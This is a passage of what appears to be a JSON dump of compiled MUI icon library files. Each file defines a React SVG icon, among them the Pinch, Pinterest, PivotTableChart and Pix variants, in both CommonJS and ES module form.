_jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.49 10.5V15h1.15V9h-.87l-1.76 1.27.58.89zm4.98-.45c.5 0 .81.32.81.72 0 .37-.14.64-.54 1.06-.36.38-1.06 1.08-2.13 2.15V15h3.89v-.99h-2.37l-.03-.05c.68-.68 1.15-1.14 1.4-1.39.61-.6.92-1.22.92-1.86 0-.24-.05-1.04-.91-1.48-.47-.23-1.26-.36-1.95-.03-.82.39-.99 1.13-1 1.15l1.01.42c.1-.33.38-.72.9-.72m5.52 3.89c-.83 0-.99-.76-1.02-.86l-1.03.41c.45 1.59 2.01 1.51 2.05 1.51 1.2 0 1.68-.72 1.76-.85.32-.49.36-1.24-.01-1.76-.17-.24-.4-.41-.68-.52v-.07c.2-.1.37-.26.52-.48.26-.41.31-1.07-.02-1.57-.08-.11-.53-.75-1.62-.75-1.26 0-1.74.9-1.85 1.24l.99.41c.11-.32.35-.64.85-.64.44 0 .75.26.75.65 0 .58-.55.72-.88.72h-.46v1h.5c.56 0 1.04.24 1.04.79 0 .49-.48.77-.89.77\"\n}, \"2\")], 'PinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PinTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V6H4zm12.84-5.62h-.5v-1h.46c.33 0 .88-.14.88-.72 0-.39-.31-.65-.75-.65-.5 0-.74.32-.85.64l-.99-.41C15.2 9.9 15.68 9 16.94 9c1.09 0 1.54.64 1.62.75.33.5.28 1.16.02 1.57-.15.22-.32.38-.52.48v.07c.28.11.51.28.68.52.37.52.33 1.27.01 1.76-.08.13-.56.85-1.76.85-.04 0-1.6.08-2.05-1.51l1.03-.41c.02.1.19.86 1.02.86.41 0 .89-.28.89-.77 0-.55-.48-.79-1.04-.79M10.56 9.2c.69-.33 1.48-.2 1.95.03.86.44.91 1.24.91 1.48 0 .64-.31 1.26-.92 1.86-.25.25-.72.71-1.4 1.39l.03.05h2.37V15H9.61v-1.02c1.07-1.07 1.77-1.77 2.13-2.15.4-.42.54-.69.54-1.06 0-.4-.31-.72-.81-.72-.52 0-.8.39-.9.72l-1.01-.42c.01-.02.18-.76 1-1.15M6.77 9h.87v6H6.49v-4.5l-.9.66-.58-.89z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.49 10.5V15h1.15V9h-.87l-1.76 1.27.58.89zm4.98-.45c.5 0 .81.32.81.72 0 .37-.14.64-.54 1.06-.36.38-1.06 1.08-2.13 2.15V15h3.89v-.99h-2.37l-.03-.05c.68-.68 1.15-1.14 1.4-1.39.61-.6.92-1.22.92-1.86 0-.24-.05-1.04-.91-1.48-.47-.23-1.26-.36-1.95-.03-.82.39-.99 1.13-1 1.15l1.01.42c.1-.33.38-.72.9-.72m5.52 3.89c-.83 0-.99-.76-1.02-.86l-1.03.41c.45 1.59 2.01 1.51 2.05 1.51 1.2 0 1.68-.72 1.76-.85.32-.49.36-1.24-.01-1.76-.17-.24-.4-.41-.68-.52v-.07c.2-.1.37-.26.52-.48.26-.41.31-1.07-.02-1.57-.08-.11-.53-.75-1.62-.75-1.26 0-1.74.9-1.85 1.24l.99.41c.11-.32.35-.64.85-.64.44 0 .75.26.75.65 0 .58-.55.72-.88.72h-.46v1h.5c.56 0 1.04.24 1.04.79 0 .49-.48.77-.89.77\"\n}, \"2\")], 'PinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pinch.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2.5V1h5v5H9.5V3.56L3.56 9.5H6V11H1V6h1.5v2.44L8.44 2.5zm16.98 14.32-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59L8 17.62l.83-.84c.24-.24.58-.35.92-.28l3.25.74V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.39 1.21 1.22 1.09 2.07\"\n}), 'Pinch');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pinch.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2.5V1h5v5H9.5V3.56L3.56 9.5H6V11H1V6h1.5v2.44L8.44 2.5zm16.98 14.32-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59L8 17.62l.83-.84c.24-.24.58-.35.92-.28l3.25.74V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.39 1.21 1.22 1.09 2.07\"\n}), 'Pinch');"
  },
  {
    "path": "packages/mui-icons-material/lib/PinchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2.5V1h5v5H9.5V3.56L3.56 9.5H6V11H1V6h1.5v2.44L8.44 2.5zm15.89 11.27-3.8-1.67c-.13-.06-.28-.1-.44-.1H17V7.5C17 6.12 15.88 5 14.5 5S12 6.12 12 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L7 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M20.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L21 15.56z\"\n}), 'PinchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PinchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2.5V1h5v5H9.5V3.56L3.56 9.5H6V11H1V6h1.5v2.44L8.44 2.5zm15.89 11.27-3.8-1.67c-.13-.06-.28-.1-.44-.1H17V7.5C17 6.12 15.88 5 14.5 5S12 6.12 12 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L7 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M20.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L21 15.56z\"\n}), 'PinchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PinchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.2 17.43c0-.65.6-1.13 1.24-.99l3.56.8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.38 1.21 1.22 1.09 2.07l-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59l-4.07-4.29c-.18-.18-.28-.43-.28-.69M9.5 5.25c0 .41.34.75.75.75s.75-.34.75-.75V2c0-.55-.45-1-1-1H6.75c-.41 0-.75.34-.75.75s.34.75.75.75h1.69L2.5 8.44V6.75c0-.41-.34-.75-.75-.75S1 6.34 1 6.75V10c0 .55.45 1 1 1h3.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H3.56L9.5 3.56z\"\n}), 'PinchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PinchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.2 17.43c0-.65.6-1.13 1.24-.99l3.56.8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.38 1.21 1.22 1.09 2.07l-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59l-4.07-4.29c-.18-.18-.28-.43-.28-.69M9.5 5.25c0 .41.34.75.75.75s.75-.34.75-.75V2c0-.55-.45-1-1-1H6.75c-.41 0-.75.34-.75.75s.34.75.75.75h1.69L2.5 8.44V6.75c0-.41-.34-.75-.75-.75S1 6.34 1 6.75V10c0 .55.45 1 1 1h3.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H3.56L9.5 3.56z\"\n}), 'PinchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PinchSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.18 15.4 22.1 23h-9L8 17.62l1.22-1.23 3.78.85V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h1.38zM6 2.5V1h5v5H9.5V3.56L3.56 9.5H6V11H1V6h1.5v2.44L8.44 2.5z\"\n}), 'PinchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PinchSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.18 15.4 22.1 23h-9L8 17.62l1.22-1.23 3.78.85V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h1.38zM6 2.5V1h5v5H9.5V3.56L3.56 9.5H6V11H1V6h1.5v2.44L8.44 2.5z\"\n}), 'PinchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PinchTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 15.56-4.24-1.89H15V7.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v10.61l-4.17-.89 3.7 3.78h6.55z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2.5V1h5v5H9.5V3.56L3.56 9.5H6V11H1V6h1.5v2.44L8.44 2.5zm15.89 11.27-3.8-1.67c-.13-.06-.28-.1-.44-.1H17V7.5C17 6.12 15.88 5 14.5 5S12 6.12 12 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L7 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M20.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L21 15.56z\"\n}, \"1\")], 'PinchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PinchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 15.56-4.24-1.89H15V7.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v10.61l-4.17-.89 3.7 3.78h6.55z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2.5V1h5v5H9.5V3.56L3.56 9.5H6V11H1V6h1.5v2.44L8.44 2.5zm15.89 11.27-3.8-1.67c-.13-.06-.28-.1-.44-.1H17V7.5C17 6.12 15.88 5 14.5 5S12 6.12 12 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L7 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M20.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L21 15.56z\"\n}, \"1\")], 'PinchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pinterest.js",
    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.04 21.54c.96.29 1.93.46 2.96.46a10 10 0 0 0 10-10A10 10 0 0 0 12 2 10 10 0 0 0 2 12c0 4.25 2.67 7.9 6.44 9.34-.09-.78-.18-2.07 0-2.96l1.15-4.94s-.29-.58-.29-1.5c0-1.38.86-2.41 1.84-2.41.86 0 1.26.63 1.26 1.44 0 .86-.57 2.09-.86 3.27-.17.98.52 1.84 1.52 1.84 1.78 0 3.16-1.9 3.16-4.58 0-2.4-1.72-4.04-4.19-4.04-2.82 0-4.48 2.1-4.48 4.31 0 .86.28 1.73.74 2.3.09.06.09.14.06.29l-.29 1.09c0 .17-.11.23-.28.11-1.28-.56-2.02-2.38-2.02-3.85 0-3.16 2.24-6.03 6.56-6.03 3.44 0 6.12 2.47 6.12 5.75 0 3.44-2.13 6.2-5.18 6.2-.97 0-1.92-.52-2.26-1.13l-.67 2.37c-.23.86-.86 2.01-1.29 2.7v-.03z\"\n}), 'Pinterest');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pinterest.mjs",
    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.04 21.54c.96.29 1.93.46 2.96.46a10 10 0 0 0 10-10A10 10 0 0 0 12 2 10 10 0 0 0 2 12c0 4.25 2.67 7.9 6.44 9.34-.09-.78-.18-2.07 0-2.96l1.15-4.94s-.29-.58-.29-1.5c0-1.38.86-2.41 1.84-2.41.86 0 1.26.63 1.26 1.44 0 .86-.57 2.09-.86 3.27-.17.98.52 1.84 1.52 1.84 1.78 0 3.16-1.9 3.16-4.58 0-2.4-1.72-4.04-4.19-4.04-2.82 0-4.48 2.1-4.48 4.31 0 .86.28 1.73.74 2.3.09.06.09.14.06.29l-.29 1.09c0 .17-.11.23-.28.11-1.28-.56-2.02-2.38-2.02-3.85 0-3.16 2.24-6.03 6.56-6.03 3.44 0 6.12 2.47 6.12 5.75 0 3.44-2.13 6.2-5.18 6.2-.97 0-1.92-.52-2.26-1.13l-.67 2.37c-.23.86-.86 2.01-1.29 2.7v-.03z\"\n}), 'Pinterest');"
  },
  {
    "path": "packages/mui-icons-material/lib/PivotTableChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8h11V5c0-1.1-.9-2-2-2h-9zM3 8h5V3H5c-1.1 0-2 .9-2 2zm2 13h3V10H3v9c0 1.1.9 2 2 2m8 1-4-4 4-4zm1-9 4-4 4 4zm.58 6H13v-2h1.58c1.33 0 2.42-1.08 2.42-2.42V13h2v1.58c0 2.44-1.98 4.42-4.42 4.42\"\n}), 'PivotTableChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/PivotTableChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8h11V5c0-1.1-.9-2-2-2h-9zM3 8h5V3H5c-1.1 0-2 .9-2 2zm2 13h3V10H3v9c0 1.1.9 2 2 2m8 1-4-4 4-4zm1-9 4-4 4 4zm.58 6H13v-2h1.58c1.33 0 2.42-1.08 2.42-2.42V13h2v1.58c0 2.44-1.98 4.42-4.42 4.42\"\n}), 'PivotTableChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/PivotTableChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5c0-1.1-.9-2-2-2h-9v5h11zM3 19c0 1.1.9 2 2 2h3V10H3zM3 5v3h5V3H5c-1.1 0-2 .9-2 2m15 3.99L14 13l1.41 1.41 1.59-1.6V15c0 1.1-.9 2-2 2h-2.17l1.59-1.59L13 14l-4 4 4 4 1.41-1.41L12.83 19H15c2.21 0 4-1.79 4-4v-2.18l1.59 1.6L22 13z\"\n}), 'PivotTableChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PivotTableChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5c0-1.1-.9-2-2-2h-9v5h11zM3 19c0 1.1.9 2 2 2h3V10H3zM3 5v3h5V3H5c-1.1 0-2 .9-2 2m15 3.99L14 13l1.41 1.41 1.59-1.6V15c0 1.1-.9 2-2 2h-2.17l1.59-1.59L13 14l-4 4 4 4 1.41-1.41L12.83 19H15c2.21 0 4-1.79 4-4v-2.18l1.59 1.6L22 13z\"\n}), 'PivotTableChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PivotTableChartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5c0-1.1-.9-2-2-2h-9v5h11zM3 19c0 1.1.9 2 2 2h3V10H3zM3 5v3h5V3H5c-1.1 0-2 .9-2 2m14.65 4.35-2.79 2.79c-.32.32-.1.86.35.86H17v2c0 1.1-.9 2-2 2h-2v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.35V19h2c2.21 0 4-1.79 4-4v-2h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.19-.2-.51-.2-.7-.01\"\n}), 'PivotTableChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PivotTableChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5c0-1.1-.9-2-2-2h-9v5h11zM3 19c0 1.1.9 2 2 2h3V10H3zM3 5v3h5V3H5c-1.1 0-2 .9-2 2m14.65 4.35-2.79 2.79c-.32.32-.1.86.35.86H17v2c0 1.1-.9 2-2 2h-2v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.35V19h2c2.21 0 4-1.79 4-4v-2h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.19-.2-.51-.2-.7-.01\"\n}), 'PivotTableChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PivotTableChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3h11v5H10zm-7 7h5v11H3zm0-7h5v5H3zm15 6-4 4h3v4h-4v-3l-4 4 4 4v-3h6v-6h3z\"\n}), 'PivotTableChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PivotTableChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3h11v5H10zm-7 7h5v11H3zm0-7h5v5H3zm15 6-4 4h3v4h-4v-3l-4 4 4 4v-3h6v-6h3z\"\n}), 'PivotTableChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PivotTableChartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5c0-1.1-.9-2-2-2h-9v5h11zM3 19c0 1.1.9 2 2 2h3V10H3zM3 5v3h5V3H5c-1.1 0-2 .9-2 2m15 4-4 4h3v2c0 1.1-.9 2-2 2h-2v-3l-4 4 4 4v-3h2c2.21 0 4-1.79 4-4v-2h3z\"\n}), 'PivotTableChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PivotTableChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5c0-1.1-.9-2-2-2h-9v5h11zM3 19c0 1.1.9 2 2 2h3V10H3zM3 5v3h5V3H5c-1.1 0-2 .9-2 2m15 4-4 4h3v2c0 1.1-.9 2-2 2h-2v-3l-4 4 4 4v-3h2c2.21 0 4-1.79 4-4v-2h3z\"\n}), 'PivotTableChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pix.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.45 16.52-3.01-3.01c-.11-.11-.24-.13-.31-.13s-.2.02-.31.13L8.8 16.53c-.34.34-.87.89-2.64.89l3.71 3.7c1.17 1.17 3.07 1.17 4.24 0l3.72-3.71c-.91 0-1.67-.18-2.38-.89M8.8 7.47l3.02 3.02c.08.08.2.13.31.13s.23-.05.31-.13l2.99-2.99c.71-.74 1.52-.91 2.43-.91l-3.72-3.71c-1.17-1.17-3.07-1.17-4.24 0l-3.71 3.7c1.76 0 2.3.58 2.61.89\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.11 9.85-2.25-2.26H17.6c-.54 0-1.08.22-1.45.61l-3 3c-.28.28-.65.42-1.02.42-.36 0-.74-.15-1.02-.42L8.09 8.17c-.38-.38-.9-.6-1.45-.6H5.17l-2.29 2.3c-1.17 1.17-1.17 3.07 0 4.24l2.29 2.3h1.48c.54 0 1.06-.22 1.45-.6l3.02-3.02c.28-.28.65-.42 1.02-.42s.74.14 1.02.42l3.01 3.01c.38.38.9.6 1.45.6h1.26l2.25-2.26c1.17-1.18 1.17-3.1-.02-4.29\"\n}, \"1\")], 'Pix');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pix.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.45 16.52-3.01-3.01c-.11-.11-.24-.13-.31-.13s-.2.02-.31.13L8.8 16.53c-.34.34-.87.89-2.64.89l3.71 3.7c1.17 1.17 3.07 1.17 4.24 0l3.72-3.71c-.91 0-1.67-.18-2.38-.89M8.8 7.47l3.02 3.02c.08.08.2.13.31.13s.23-.05.31-.13l2.99-2.99c.71-.74 1.52-.91 2.43-.91l-3.72-3.71c-1.17-1.17-3.07-1.17-4.24 0l-3.71 3.7c1.76 0 2.3.58 2.61.89\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.11 9.85-2.25-2.26H17.6c-.54 0-1.08.22-1.45.61l-3 3c-.28.28-.65.42-1.02.42-.36 0-.74-.15-1.02-.42L8.09 8.17c-.38-.38-.9-.6-1.45-.6H5.17l-2.29 2.3c-1.17 1.17-1.17 3.07 0 4.24l2.29 2.3h1.48c.54 0 1.06-.22 1.45-.6l3.02-3.02c.28-.28.65-.42 1.02-.42s.74.14 1.02.42l3.01 3.01c.38.38.9.6 1.45.6h1.26l2.25-2.26c1.17-1.18 1.17-3.1-.02-4.29\"\n}, \"1\")], 'Pix');"
  },
  {
    "path": "packages/mui-icons-material/lib/PixOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.45 16.52-3.01-3.01c-.11-.11-.24-.13-.31-.13s-.2.02-.31.13L8.8 16.53c-.34.34-.87.89-2.64.89l3.71 3.7c1.17 1.17 3.07 1.17 4.24 0l3.72-3.71c-.91 0-1.67-.18-2.38-.89M8.8 7.47l3.02 3.02c.08.08.2.13.31.13s.23-.05.31-.13l2.99-2.99c.71-.74 1.52-.91 2.43-.91l-3.72-3.71c-1.17-1.17-3.07-1.17-4.24 0l-3.71 